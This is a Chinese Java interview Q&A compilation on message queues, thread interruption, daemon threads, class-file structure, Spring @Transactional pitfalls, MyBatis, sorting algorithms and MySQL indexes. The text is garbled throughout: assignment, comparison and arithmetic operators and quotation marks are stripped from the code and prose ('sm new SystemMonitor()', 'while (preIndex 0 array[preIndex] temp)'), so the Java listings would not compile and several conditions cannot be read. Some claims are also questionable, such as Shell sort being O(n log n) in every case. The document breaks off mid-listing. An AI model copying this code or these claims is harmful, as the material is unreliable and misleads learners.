异步处理用户注册后发送注册邮件和注册短信。用户注册完成后提交任务到 MQ发送模块并行获取 MQ 中的任务。系统解耦比如用注册完成再加一个发送微信通知。只需要新增发送微信消息模块从 MQ 中读取任务发送消息即可。无需改动注册模块的代码这样注册模块与发送模块通过 MQ 解耦。流量削峰秒杀和抢购等场景经常使用 MQ 进行流量削峰。活动开始时流量暴增用户的请求写入 MQ超过 MQ 最大长度丢弃请求业务系统接收 MQ 中的消息进行处理达到流量削峰、保证系统可用性的目的。日志处理日志采集方收集日志写入 kafka 的消息队列中处理方订阅并消费 kafka 队列中的日志数据。消息通讯点对点或者订阅发布模式通过消息进行通讯。如微信的消息发送与接收、聊天室等。
String s new String(
两个或一个
第一次调用 new String(“xyz”); 时会在堆内存中创建一个字符串对象同时在字符串常量池中创建一个对象 “xyz”第二次调用 new String(“xyz”); 时只会在堆内存中创建一个字符串对象指向之前在字符串常量池中创建的 “xyz”
如何优雅地停止一个线程
线程终止有两种情况
线程的任务执行完成线程在执行任务过程中发生异常
这两者属于线程自行终止如何让线程 A 把线程 B 终止呢
Java 中 Thread 类有一个 stop() 方法可以终止线程不过这个方法会让线程直接终止在执行的任务立即终止未执行的任务无法反馈所以 stop() 方法已经不建议使用。
既然 stop() 方法如此粗暴不建议使用我们如何优雅地结束线程呢
线程只有从 runnable 状态可运行/运行状态 才能进入terminated 状态终止状态如果线程处于 blocked、waiting、timed_waiting 状态休眠状态就需要通过 Thread 类的 interrupt() 方法让线程从休眠状态进入 runnable 状态从而结束线程。
当线程进入 runnable 状态之后通过设置一个标识位线程在合适的时机检查该标识位发现符合终止条件自动退出 run () 方法线程终止。
如我们模拟一个系统监控任务线程代码如下
package constxiong.concurrency.a007;/*** 模拟系统监控* author ConstXiong*/
public class TestSystemMonitor {public static void main(String[] args) {testSystemMonitor();//测试系统监控器}/*** 测试系统监控器*/public static void testSystemMonitor() {SystemMonitor sm new SystemMonitor();sm.start();try {//运行 10 秒后停止监控Thread.sleep(10 * 1000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(监控任务启动 10 秒后停止...);sm.stop();}}/*** 系统监控器* author ConstXiong*/
class SystemMonitor {private Thread t;/*** 启动一个线程监控系统*/void start() {t new Thread(() - {while (!Thread.currentThread().isInterrupted()) {//判断当前线程是否被打断System.out.println(正在监控系统...);try {Thread.sleep(3 * 1000L);//执行 3 秒System.out.println(任务执行 3 秒);System.out.println(监控的系统正常!);} catch (InterruptedException e) {System.out.println(任务执行被中断...);}}});t.start();}void stop() {t.interrupt();}
}执行结果
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
监控任务启动 10 秒后停止...
任务执行被中断...
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
.
.
.从代码和执行结果我们可以看出系统监控器 start() 方法会创建一个线程执行监控系统的任务每个任务查询系统情况需要 3 秒钟在监控 10 秒钟后主线程向监控器发出停止指令。
但是结果却不是我们期待的10 秒后并没有终止了监控器任务还在执行。
原因在于t.interrupt() 方法让处在休眠状态的语句 Thread.sleep(3 * 1000L); 抛出异常同时被捕获此时 JVM 的异常处理会清除线程的中断状态导致任务一直在执行。
处理办法是在捕获异常后继续重新设置中断状态代码如下
package constxiong.concurrency.a007;/*** 模拟系统监控* author ConstXiong*/
public class TestSystemMonitor {public static void main(String[] args) {testSystemMonitor();//测试系统监控器}/*** 测试系统监控器*/public static void testSystemMonitor() {SystemMonitor sm new SystemMonitor();sm.start();try {//运行 10 秒后停止监控Thread.sleep(10 * 1000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(监控任务启动 10 秒后停止...);sm.stop();}}/*** 系统监控器* author ConstXiong*/
class SystemMonitor {private Thread t;/*** 启动一个线程监控系统*/void start() {t new Thread(() - {while (!Thread.currentThread().isInterrupted()) {//判断当前线程是否被打断System.out.println(正在监控系统...);try {Thread.sleep(3 * 1000L);//执行 3 秒System.out.println(任务执行 3 秒);System.out.println(监控的系统正常!);} catch (InterruptedException e) {System.out.println(任务执行被中断...);Thread.currentThread().interrupt();//重新设置线程为中断状态}}});t.start();}void stop() {t.interrupt();}
}执行结果如预期
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
监控任务启动 10 秒后停止...
任务执行被中断...到这里还没有结束我们用 Thread.sleep(3 * 1000L); 去模拟任务的执行在实际情况中一般是调用其他服务的代码如果出现其他异常情况没有成功设置线程的中断状态线程将一直执行下去显然风险很高。所以需要用一个线程终止的标识来代替 Thread.currentThread().isInterrupted()。
修改代码如下
package constxiong.concurrency.a007;/*** 模拟系统监控* author ConstXiong*/
public class TestSystemMonitor {public static void main(String[] args) {testSystemMonitor();//测试系统监控器}/*** 测试系统监控器*/public static void testSystemMonitor() {SystemMonitor sm new SystemMonitor();sm.start();try {//运行 10 秒后停止监控Thread.sleep(10 * 1000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(监控任务启动 10 秒后停止...);sm.stop();}}/*** 系统监控器* author ConstXiong*/
class SystemMonitor {private Thread t;private volatile boolean stop false;/*** 启动一个线程监控系统*/void start() {t new Thread(() - {while (!stop) {//判断当前线程是否被打断System.out.println(正在监控系统...);try {Thread.sleep(3 * 1000L);//执行 3 秒System.out.println(任务执行 3 秒);System.out.println(监控的系统正常!);} catch (InterruptedException e) {System.out.println(任务执行被中断...);Thread.currentThread().interrupt();//重新设置线程为中断状态}}});t.start();}void stop() {stop true;t.interrupt();}
}执行结果
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
监控任务启动 10 秒后停止...
任务执行被中断...到这里基本算是优雅地让线程终止了。
你了解哪些常用的 MQ
ActiveMQ支持万级的吞吐量较成熟完善官方更新迭代较少社区的活跃度不是很高有消息丢失的情况。RabbitMQ延时低微秒级延时社区活跃度高bug 修复及时而且提供了很友善的后台界面用 Erlang 语言开发只熟悉 Java 的无法阅读源码和自行修复 bug。RocketMQ阿里维护的消息中间件可以达到十万级的吞吐量支持分布式事务。Kafka分布式的中间件最大优点是其吞吐量高一般运用于大数据系统的实时运算和日志采集的场景功能简单可靠性高扩展性高缺点是可能导致重复消费。
LinkedHashMap、LinkedHashSet、LinkedList哪个最适合当作Stack使用?
LinkedList
分析
Stack 是线性结构具有先进后出的特点LinkedList 天然支持 Stack 的特性调用 push(E e) 方法放入元素调用 pop() 方法取出栈顶元素内部实现只需要移动指针即可LinkedHashSet 是基于 LinkedHashMap 实现的记录添加顺序的 Set 集合LinkedHashMap 是基于 HashMap 和 链表实现的记录添加顺序的键值对集合如果要删除后进的元素需要使用迭代器遍历、取出最后一个元素移除性能较差
什么是守护线程
Java线程分为用户线程和守护线程。
守护线程是程序运行的时候在后台提供一种通用服务的线程。所有用户线程停止进程会停掉所有守护线程退出程序。Java中把线程设置为守护线程的方法在 start 线程之前调用线程的 setDaemon(true) 方法。
注意 setDaemon(true) 必须在 start() 之前设置否则会抛出IllegalThreadStateException异常该线程仍默认为用户线程继续执行 守护线程创建的线程也是守护线程 守护线程不应该访问、写入持久化资源如文件、数据库因为它会在任何时间被停止导致资源未释放、数据写入中断等问题 package constxiong.concurrency.a008; /** 测试守护线程 author ConstXiong date 2019-09-03 12:15:59 */ public class TestDaemonThread { public static void main(String[] args) { testDaemonThread(); } // public static void testDaemonThread() { Thread t new Thread(() - { //创建线程校验守护线程内创建线程是否为守护线程 Thread t2 new Thread(() - { System.out.println(t2 : (Thread.currentThread().isDaemon() ? “守护线程” : “非守护线程”)); }); t2.start(); //当所有用户线程执行完守护线程会被直接杀掉程序停止运行int i 1;while(true) {try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(t : (Thread.currentThread().isDaemon() ? 守护线程 : 非守护线程) , 执行次数 : i);if (i 10) {break;}}});//setDaemon(true) 必须在 start() 之前设置否则会抛出IllegalThreadStateException异常该线程仍默认为用户线程继续执行t.setDaemon(true);t.start();try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}//主线程结束System.out.println(主线程结束);} }
执行结果
t2 : 守护线程
t : 守护线程 , 执行次数 : 1
主线程结束
t : 守护线程 , 执行次数 : 2结论 上述代码线程t未打印到 t : daemon thread , time : 10说明所有用户线程停止进程会停掉所有守护线程退出程序 当 t.start(); 放到 t.setDaemon(true); 之前程序抛出IllegalThreadStateExceptiont 仍然是用户线程打印如下 Exception in thread “main” t2 : 非守护线程 java.lang.IllegalThreadStateException at java.lang.Thread.setDaemon(Thread.java:1359) at constxiong.concurrency.a008.TestDaemonThread.testDaemonThread(TestDaemonThread.java:39) at constxiong.concurrency.a008.TestDaemonThread.main(TestDaemonThread.java:11) t : 非守护线程 , 执行次数 : 1 t : 非守护线程 , 执行次数 : 2 t : 非守护线程 , 执行次数 : 3 t : 非守护线程 , 执行次数 : 4 t : 非守护线程 , 执行次数 : 5 t : 非守护线程 , 执行次数 : 6 t : 非守护线程 , 执行次数 : 7 t : 非守护线程 , 执行次数 : 8 t : 非守护线程 , 执行次数 : 9 t : 非守护线程 , 执行次数 : 10
TreeMap和TreeSet在排序时如何比较元素?
TreeMap 会对 key 进行比较有两种比较方式第一种是构造方法指定 Comparator使用 Comparator#compare() 方法进行比较第二种是构造方法未指定 Comparator 接口需要 key 对象的类实现 Comparable 接口用 Comparable #compareTo() 方法进行比较TreeSet 底层是使用 TreeMap 实现
可以描述一下 class 文件的结构吗
Class 文件包含了 Java 虚拟机的指令集、符号表、辅助信息的字节码(Byte Code)是实现跨操作系统和语言无关性的基石之一。
一个 Class 文件定义了一个类或接口的信息是以 8 个字节为单位没有分隔符按顺序紧凑排在一起的二进制流。
用 “无符号数” 和 “表” 组成的伪结构来存储数据。
无符号数基本数据类型用来描述数字、索引引用、数量值、字符串值如u1、u2 分别表示 1 个字节、2 个字节表无符号数和其他表组成命名一般以 “_info” 结尾
组成部分 1、魔数 Magic Number
Class 文件头 4 个字节0xCAFEBABE作用是确定该文件是 Class 文件
2、版本号
4 个字节前 2 个是次版本号 Minor Version后 2 个主版本号 Major Version从 45 (JDK1.0) 开始如 0x00000032 转十进制就是 50代表 JDK 6低版本的虚拟机跑不了高版本的 Class 文件
3、常量池
常量容量计数值(constant_pool_count)u2从 1 开始。如 0x0016 十进制 22 代表有 21 项常量每项常量都是一个表目前 17 种特点Class 文件中最大数据项目之一、第一个出现表数据结构
4、访问标志
2 个字节表示类或接口的访问标志
5、类索引、父类索引、接口索引集合
类索引(this_class)、父类索引(super_class)u2接口索引集合(interfaces)u2 集合类索引确定类的全限定名、父类索引确定父类的全限定名、接口索引集合确定实现接口索引值在常量池中查找对应的常量
6、字段表(field_info)集合
描述接口或类申明的变量fields_countu2表示字段表数量后面接着相应数量的字段表9 种字段访问标志
7、方法表(method_info)集合
描述接口或类申明的方法methods_countu2表示方法表数量后面接着相应数量的方法表12 种方法访问标志方法表结构与字段表结构一致
8、属性表(attribute_info)集合
class 文件、字段表、方法表可携带属性集合描述特有信息预定义 29 项属性可自定义写入不重名属性 常见的异常类有哪些
异常非常多Throwable 是异常的根类。
Throwable 包含子类 错误-Error 和 异常-Exception 。
Exception 又分为 一般异常和运行时异常 RuntimeException。
运行时异常不需要代码显式捕获处理。
下图是常见异常类及其父子关系 Throwable | ├ Error
| │ ├ IOError
| │ ├ LinkageError
| │ ├ ReflectionError
| │ ├ ThreadDeath
| │ └ VirtualMachineError
| │
| ├ Exception
| │ ├ CloneNotSupportedException
| │ ├ DataFormatException
| │ ├ InterruptedException
| │ ├ IOException
| │ ├ ReflectiveOperationException
| │ ├ RuntimeException
| │ ├ ArithmeticException
| │ ├ ClassCastException
| │ ├ ConcurrentModificationException
| │ ├ IllegalArgumentException
| │ ├ IndexOutOfBoundsException
| │ ├ NoSuchElementException
| │ ├ NullPointerException
| │ └ SecurityException
| │ └ SQLException
linux指令-wc
wc(word count)统计指定的文件中字节数、字数、行数并将统计结果输出
命令格式wc [option] file..命令参数
-c 统计字节数
-l 统计行数
-m 统计字符数
-w 统计词数一个字被定义为由空白、跳格或换行字符分隔的字符串分析
Java是单继承的一个类只能继承一个父类。
Transactional 注解哪些情况下会失效
1、Transactional 作用在非 public 修饰的方法上
2、Transactional 作用于接口使用 CGLib 动态代理
3、Transactional 注解属性 propagation 设置以下三种可能导致无法回滚
SUPPORTS如果当前存在事务则加入该事务如果当前没有事务则以非事务的方式继续运行。NOT_SUPPORTED以非事务方式运行如果当前存在事务则把当前事务挂起。NEVER以非事务方式运行如果当前存在事务则抛出异常。
4、同一类中加 Transactional 方法被无 Transactional 的方法调用事务失效
5、Transactional 方法内异常被捕获
6、默认 RuntimeException 和 Error 及子类抛出会回滚rollbackFor 指定的异常及子类发生才会回滚
7、数据库不支持事务如 MySQL 使用 MyISAM 存储引擎
8、Spring 的配置文件中未配置事务注解生效
tx:annotation-driven transaction-managertransactionManager/9、Spring Boot 引入 jbdc 或 jpa 包默认事务注解。若未引入这两个包需要使用 EnableTransactionManagement 进行配置
分析见这里
你做过 JVM 调优说说如何查看 JVM 参数默认值
jps -v 可以查看 jvm 进程显示指定的参数使用 -XX:PrintFlagsFinal 可以看到 JVM 所有参数的值jinfo 可以实时查看和调整虚拟机各项参数
MyBatis 中有哪些动态 SQL 标签它们的作用分别是什么如何实现的
9 种动态 SQL 标签if、choose、when、otherwise、trim、where、set、foreach、bind
1 种注解中使用动态 SQL 标签script
if: 根据条件判断choose、when、otherwise: 组合使用选择多个条件中的一个where: where 元素只会在子元素返回任何内容的情况下才插入 “WHERE” 子句若子句的开头为 “AND” 或 “OR”where 元素也会将它们去除trim: 定制类似 where 标签的功能set: 用于动态包含需要更新的列忽略其它不更新的列foreach: 对集合进行遍历bind: 允许你在 OGNL 表达式以外创建一个变量并将其绑定到当前的上下文script: 要在带注解的映射器接口类中使用动态 SQL可以使用 script 元素
官方说明文档
https://mybatis.org/mybatis-3/zh/dynamic-sql.html
源码实现的入口在这里 XMLScriptBuilder 类中
protected MixedSqlNode parseDynamicTags(XNode node) {ListSqlNode contents new ArrayList();NodeList children node.getNode().getChildNodes();for (int i 0; i children.getLength(); i) {XNode child node.newXNode(children.item(i));if (child.getNode().getNodeType() Node.CDATA_SECTION_NODE || child.getNode().getNodeType() Node.TEXT_NODE) {...} else if (child.getNode().getNodeType() Node.ELEMENT_NODE) { // issue #628//根据 node 名称获取对应 handlerString nodeName child.getNode().getNodeName();NodeHandler handler nodeHandlerMap.get(nodeName);if (handler null) {throw new BuilderException(Unknown element nodeName in SQL statement.);}handler.handleNode(child, contents);isDynamic true;}}return new MixedSqlNode(contents);}对象创建过程是什么样的
对象在 JVM 中的创建过程如下
JVM 会先去方法区找有没有所创建对象的类存在有就可以创建对象了没有则把该类加载到方法区在创建类的对象时首先会先去堆内存中分配空间当空间分配完后加载对象中所有的非静态成员变量到该空间下所有的非静态成员变量加载完成之后对所有的非静态成员进行默认初始化所有的非静态成员默认初始化完成之后调用相应的构造方法到栈中在栈中执行构造函数时先执行隐式再执行构造方法中书写的代码执行顺序静态代码库构造代码块构造方法当整个构造方法全部执行完此对象创建完成并把堆内存中分配的空间地址赋给对象名
说说与线程相关的方法
加锁对象的 wait() 方法使一个线程处于等待状态并且释放所持有的对象的锁加锁对象的 notify() 方法由 JVM 唤醒一个处于等待状态的线程具体哪个线程不确定且与优先级无关加锁对象的 notityAll() 方法唤醒所有处入等待状态的线程让它们重新竞争对象的锁线程的 sleep() 方法使一个正在运行的线程处于睡眠状态是静态方法调用此方法要捕捉 InterruptedException 异常JDK 1.5 开始通过 Lock 接口提供了显式锁机制丰富了锁的功能可以尝试加锁和加锁超时。Lock 接口中定义了加锁 lock()、释放锁 unlock() 方法 和 newCondition() 产生用于线程之间通信的 Condition 对象的方法JDK 1.5 开始提供了信号量 Semaphore 机制信号量可以用来限制对某个共享资源进行访问的线程的数量。在对资源进行访问之前线程必须调用 Semaphore 对象的 acquire() 方法得到信号量的许可在完成对资源的访问后线程必须调用 Semaphore 对象的 release() 方法向信号量归还许可
希尔排序(Shell Sort)
是插入排序经过改进之后的高效版本也称缩小增量排序。
1959 年提出是突破时间复杂度 O(n2) 的第一批算法之一。
缩小增量排序的最优增量选择是一个数学难题一般采用希尔建议的增量具体如下。
思路与步骤
首次选择的增量(即步长下同) step 数组长度 / 2 取整缩小增量 step 每次减半直到为 1 结束缩小逐渐缩小的增量组成一个序列[n/2, n/2/2, … 1]对数组进行 序列里增量的个数 趟排序每趟排序把增量作为间隔将数组分割成若干子数组分别对各子数组进行插入排序当增量等于 1 时排序整个数组后排序完成
代码
package constxiong.interview.algorithm;/*** 希尔排序* author ConstXiong* date 2020-04-11 11:58:58*/
public class ShellSort {public static void main(String[] args) {int [] array {33, 22, 1, 4, 25, 88, 71, 4};shellSort(array);}/*** 希尔排序* param array*/private static void shellSort(int[] array) {print(array);int length array.length;int step length / 2; //步长默认取数组长度一半int temp; while (step 0) {for (int i step; i length; i) { //从步长值为下标开始遍历temp array[i]; //当前值int preIndex i - step; //步长间隔上一个值的下标//在步长间隔的的数组中找到需要插入的位置挪动右边的数while (preIndex 0 array[preIndex] temp) { array[preIndex step] array[preIndex];preIndex - step;}//把当前值插入到在步长间隔的的数组中找到的位置array[preIndex step] temp;}step / 2;print(array);}}/*** 打印数组* param array*/private static void print(int[] array) {for(int i : array) {System.out.print(i );}System.out.println();}}打印
33 22 1 4 25 88 71 4
25 22 1 4 33 88 71 4
1 4 25 4 33 22 71 88
1 4 4 22 25 33 71 88特征
空间复杂度为 O(1)是原地排序算法最好、最坏、平均情况时间复杂度都是 O(nlog2 n)非稳定排序。因为进行了增量间隔分组排序可能导致相等的值先后顺序变换
Math.round(-1.5) 等于多少
运行结果 -1
JDK 中的 java.lang.Math 类
ceil() 向上取整返回小数所在两整数间的较大值返回类型是 double如 -1.5 返回 -1.0floor() 向下取整返回小数所在两整数间的较小值返回类型是 double如 -1.5 返回 -2.0round() 朝正无穷大方向返回参数最接近的整数可以换算为 参数 0.5 向下取整返回值是 int 或 long如 -1.5 返回 -1
测试代码
System.out.println(Math.round(1.4) Math.round(1.4));
System.out.println(Math.round(-1.4) Math.round(-1.4));
System.out.println(Math.round(1.5) Math.round(1.5));
System.out.println(Math.round(-1.5) Math.round(-1.5));
System.out.println(Math.round(1.6) Math.round(1.6));
System.out.println(Math.round(-1.6) Math.round(-1.6));
System.out.println();System.out.println(Math.ceil(1.4) Math.ceil(1.4));
System.out.println(Math.ceil(-1.4) Math.ceil(-1.4));
System.out.println(Math.ceil(1.5) Math.ceil(1.5));
System.out.println(Math.ceil(-1.5) Math.ceil(-1.5));
System.out.println(Math.ceil(1.6) Math.ceil(1.6));
System.out.println(Math.ceil(-1.6) Math.ceil(-1.6));
System.out.println();System.out.println(Math.floor(1.4) Math.floor(1.4));
System.out.println(Math.floor(-1.4) Math.floor(-1.4));
System.out.println(Math.floor(1.5) Math.floor(1.5));
System.out.println(Math.floor(-1.5) Math.floor(-1.5));
System.out.println(Math.floor(1.6) Math.floor(1.6));
System.out.println(Math.floor(-1.6) Math.floor(-1.6));打印结果
Math.round(1.4)1
Math.round(-1.4)-1
Math.round(1.5)2
Math.round(-1.5)-1
Math.round(1.6)2
Math.round(-1.6)-2Math.ceil(1.4)2.0
Math.ceil(-1.4)-1.0
Math.ceil(1.5)2.0
Math.ceil(-1.5)-1.0
Math.ceil(1.6)2.0
Math.ceil(-1.6)-1.0Math.floor(1.4)1.0
Math.floor(-1.4)-2.0
Math.floor(1.5)1.0
Math.floor(-1.5)-2.0
Math.floor(1.6)1.0
Math.floor(-1.6)-2.0什么是复杂度?为什么要进行复杂度分析
复杂度
复杂度也叫渐进复杂度包括时间复杂度和空间复杂度用来分析算法执行效率与数据规模之间的增长关系可以粗略地表示越高阶复杂度的算法执行效率越低。复杂度描述的是算法执行时间或占用内存空间随数据规模的增长关系。
为什么要进行复杂度分析
借助复杂度分析有利于编写出性能更优的代码降低成本。复杂度分析不依赖执行环境、成本低、效率高、易操作、指导性强是一套理论方法。
什么是逃逸分析
分析对象动态作用域
当一个对象在方法里面被定义后它可能被外部方法所引用例如作为调用参数传递到其他方法中这种称为方法逃逸被外部线程访问到譬如赋值给可以在其他线程中访问的实例变量这种称为线程逃逸从不逃逸
如果能证明一个对象不会逃逸到方法或线程之外或者逃逸程度比较低只逃逸出方法而不会逃逸出线程则可能为这个对象实例采取不同程度的优化如栈上分配、标量替换、同步消除。
合并两个有序的链表
先自己实现一个单向的链表 package constxiong.interview;/*** 单向链表* author ConstXiong* param E*/class SingleLinkedListE {int size 0;NodeE first;NodeE last;public SingleLinkedList() {}public void add(E e) {NodeE l last;NodeE item new NodeE(e, null);last item;if (l null) {this.first item;} else {l.next item;}size;}/*** 打印链表* param ll*/public void print() {for (NodeE item first; item ! null; item item.next) {System.out.print(item );}}/*** 单向链表中的节点* author ConstXiong* param E*/public static class NodeE {E item;NodeE next;Node(E item, NodeE next) {this.item item;this.next next;}public E get() {return item;}Overridepublic String toString() {return item.toString();}}}
题目中链表是有序的所以不需要考虑排序问题
mergeeSingleLinkedList 方法合并链表思路
获取两个链表中的首节点比较首节点大小结果分别存入 small、large 节点把 small 节点存入新的链表再比较获取 small.next 和 large结果分别存入 small、large 节点直到 small.next 和 large 都为 null package constxiong.interview;import constxiong.interview.SingleLinkedList.Node;/*** 链表两个有序列表* author ConstXiong* date 2019-11-06 09:37:14*/public class TestMergeLinkedList {public static void main(String[] args) {SingleLinkedListInteger ll1 new SingleLinkedListInteger();ll1.add(3);ll1.add(8);ll1.add(19);SingleLinkedListInteger ll2 new SingleLinkedListInteger();ll2.add(3);ll2.add(10);ll2.add(17);mergeeSingleLinkedList(ll1, ll2).print();}/*** 合并两个有序列表* param ll1* param ll2* return*/private static SingleLinkedListInteger mergeeSingleLinkedList(SingleLinkedListInteger ll1, SingleLinkedListInteger ll2) {if (isEmpty(ll1) || isEmpty(ll2)) {return isEmpty(ll1) ? ll2 : ll1;}SingleLinkedListInteger ll new SingleLinkedListInteger();NodeInteger ll1Node ll1.first;NodeInteger ll2Node ll2.first;NodeInteger small ll1Node.get() ll2Node.get() ? ll1Node : ll2Node;NodeInteger large ll1Node.get() ll2Node.get() ? ll1Node : ll2Node;do {ll.add(small.get());NodeInteger smallNext small.next;if (smallNext null || large null) {small smallNext null ? large : smallNext;large null;} else {small smallNext.get() large.get() ? smallNext : large;large smallNext.get() large.get() ? smallNext : large;}}while (small ! null);return ll;}/*** 测试链表存储是否OK*/public static void testSingleLinkedListIsOk() {SingleLinkedListInteger ll new SingleLinkedListInteger();ll.add(3);ll.add(8);ll.add(19);ll.print();}private static boolean isEmpty(SingleLinkedListInteger ll) {if (ll null || ll.size 0) {return true;}return false;}}打印结果
3 3 8 10 17 19MyBatis 如何批量插入
方式一、打开批量插入的 SqlSession SqlSession sqlSession sqlSessionFactory.openSession(ExecutorType.BATCH);UserMapper userMapper sqlSession.getMapper(UserMapper.class);for (int i 36; i 45; i) {userMapper.insertUser(new User(i, ConstXiong i));}sqlSession.commit();sqlSession.close();
方式二、拼接批量插入的 insert SQL //Java 代码ListUser userList new ArrayList();for (int i 46; i 55; i) {userList.add(new User(i,ConstXiong i));}userMapper.insertUserBatch(userList);!--Mapper xml 中配置--insert idinsertUserBatch parameterTypejava.util.Listinsert into user valuesforeach collectionlist itemitem separator ,(#{item.id}, #{item.name})/foreach/insert完整 Demo
https://javanav.com/val/2d21b1463f2e4faeaf0def0c49df34a4.html
如何找到死锁的线程
死锁的线程可以使用 jstack 指令 dump 出 JVM 的线程信息。 jstack -l threads.txt 有时候需要dump出现异常可以加上 -F 指令强制导出 jstack -F -l threads.txt
如果存在死锁一般在文件最后会提示找到 deadlock 的数量与线程信息
MySQL创建和使用索引的注意事项
适合创建索引的列是出现在 WHERE 或 ON 子句中的列而不是出现在 SELECT 关键字后的列索引列的基数越大数据区分度越高索引的效果越好对字符串列进行索引可制定一个前缀长度节省索引空间避免创建过多的索引索引会额外占用磁盘空间降低写操作效率主键尽可能选择较短的数据类型可减少索引的磁盘占用提高查询效率联合索引遵循前缀原则LIKE 查询%在前不到索引可考虑使用 ElasticSearch、Lucene 等搜索引擎MySQL 在数据量较小的情况可能会不使用索引因为全表扫描比使用索引速度更快关键词 or 前面的条件中的列有索引后面的没有所有列的索引都不会被用到列类型是字符串查询时一定要给值加引号否则索引失效联合索引要遵从最左前缀原则否则不会用到索引
统计某字符串在文件中出现的次数
有几点注意事项
默认文件里的字符串是按行进行统计的如果字符串存在跨行的情况那需要考虑把字符串进行拼接、去除换行符。这里未考虑字符串里出现的字符串的次数的问题可以使用 indexOf 方法配合 substring 方法获取正则表达匹配替换指定单词未空通过缩减长度 / 单词长度即未次数。这里只用正则实现 package constxiong.interview;import java.io.BufferedReader;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.regex.Matcher;import java.util.regex.Pattern;/*** 统计某字符串在文件中出现的次数* * author ConstXiong*/public class TestCountWord {public static void main(String[] args) {String filePath /Users/handsome/Desktop/a.txt;String word ConstXiong;System.out.println(countWordAppearTimes(filePath, word));}/*** 统计每行的出现单词的出现次数之后* param filePath* param word* return*/public static int countWordAppearTimes(String filePath, String word) {int times 0;FileReader fr null;BufferedReader br null;try {fr new FileReader(filePath);br new BufferedReader(fr);String line;while ((line br.readLine()) ! null) {//读文件每行字符串//按照单词正则查找出现次数Pattern p Pattern.compile(word);Matcher m p.matcher(line);while (m.find()) {times;}}} catch (IOException e) {e.printStackTrace();} finally {if (fr ! null) {try {fr.close();} catch (IOException e) {e.printStackTrace();}}if (br ! null) {try {br.close();} catch (IOException e) {e.printStackTrace();}}}return times;}}选择排序(Selection Sort)
思路
数组区分已排序区域和未排序区域每次从未排序区域找到最小的元素通过和未排序区域第一个元素交换位置把它放到已排序区域的末尾
步骤
进行 数组长度-1 轮比较每轮找到未排序区最小值的小标如果最小值的下标非未排序区第一个进行交换。此时未排序区第一个则变为已排序区最后一个进行下一轮找未排序区最小值下标直到全部已排序
代码
package constxiong.interview.algorithm;/*** 选择排序* author ConstXiong* date 2020-04-09 12:25:12*/
public class SelectionSort {public static void main(String[] args) {int [] array {33, 22, 1, 4, 25, 88, 71, 4};selectionSort(array);}/*** 选择排序* param array*/public static void selectionSort(int[] array) {print(array);//进行 数组长度-1 轮比较int minIndex;for (int i 0; i array.length-1; i) {minIndex i;//取未排序区第一个数的下标for (int j i1; j array.length; j) {if (array[j] array[minIndex]) {//找到未排序区域最小值的下标minIndex j;}}//找到的最小值是否需要挪动if (i ! minIndex) {int temp array[i];array[i] array[minIndex];array[minIndex] temp;}print(array);}}/*** 打印数组* param array*/private static void print(int[] array) {f